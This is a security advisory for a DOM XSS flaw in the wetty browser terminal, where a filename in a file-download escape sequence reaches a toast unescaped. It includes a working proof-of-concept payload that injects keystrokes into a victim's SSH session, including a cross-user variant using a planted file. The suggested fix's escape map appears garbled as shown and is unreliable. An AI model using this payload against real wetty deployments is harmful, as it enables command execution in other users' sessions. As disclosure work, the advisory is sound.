wetty vulnerable to DOM XSS via file-download filename
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.
Preconditions
- Victim has wetty open with an active SSH session.
- Attacker delivers the file-download escape sequence (
\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders. - Default configuration; no non-default flags required.
Details
1// src/client/wetty.ts:37, 46-62 2const fileDownloader = new FileDownloader(); 3// ... 4socket.on('data', (data: string) => { 5 const remainingData = fileDownloader.buffer(data); 6 // every PTY byte forwarded by the server passes through buffer() 7 // ... 8})Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.
1// src/client/wetty/download.ts:9-77 2function onCompleteFile(bufferCharacters: string): void { 3 let fileNameBase64; 4 let fileCharacters = bufferCharacters; 5 if (bufferCharacters.includes(':')) { 6 [fileNameBase64, fileCharacters] = bufferCharacters.split(':'); 7 } 8 // ... 9 void detectAndDownload(bytes, fileCharacters, fileNameBase64);10}11 12async function detectAndDownload(/* ... */): Promise<void> {13 // ...14 let fileName;15 try {16 if (fileNameBase64 !== undefined) {17 fileName = window.atob(fileNameBase64); // attacker-controlled18 }19 } catch { /* ... */ }20 fileName ??= `file-${ /* timestamp default */ }`;21 // ...22 Toastify({23 text: `Download ready: <a href="${blobUrl}" target="_blank" `24 + `download="${fileName}">${fileName}</a>`, // sink25 duration: 10000,26 // ...27 escapeMarkup: false,28 }).showToast();29}fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.
Proof of concept
Setup
-
Bring up wetty and its bundled SSH host from a fresh clone:
text1git clone https://github.com/butlerx/wetty2cd wetty3docker compose up -d4sleep 5 -
Open
http://localhost/wettyin a browser. The login terminal prompts for a username (enterterm) then proxies towetty-ssh, which prompts for the SSH password (alsoterm, set incontainers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.
Exploit
-
In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:
xss1PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'2FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)3DATA_B64=$(printf 'bait' | base64 -w0)4printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied
<img>element with theonerrorhandler. -
The
onerrorhandler callswindow.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as adataevent;src/client/wetty.ts:40-42forwards it as a socketinputevent; the server writes it to the PTY. The SSH host runsid > /tmp/pwnedas the connected user:text1cat /tmp/pwnedExpected:
uid=1000(term) gid=1000(term) groups=1000(term). -
The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:
bash1# As the low-priv user on the SSH host2printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txtWhen the higher-privileged user's wetty session runs
cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.
Impact
- Confidentiality: Reads the rendered terminal contents via
window.wetty_term.buffer.active. - Integrity: Types attacker-chosen commands into the victim's SSH session via
window.wetty_term.input(). - Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.
Suggestions to fix
This has not been tested - it is illustrative only.
HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.
1 fileName ??= `file-${new Date() 2 .toISOString() 3 .split('.')[0] 4 .replace(/-/g, '') 5 .replace('T', '') 6 .replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`; 7+ const safeName = fileName.replace(/[&<>"']/g, (c) => 8+ ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[c] ?? c, 9+ );10 11 const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });12 const blobUrl = URL.createObjectURL(blob);13 14 Toastify({15- text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,16+ text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,17 duration: 10000,AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.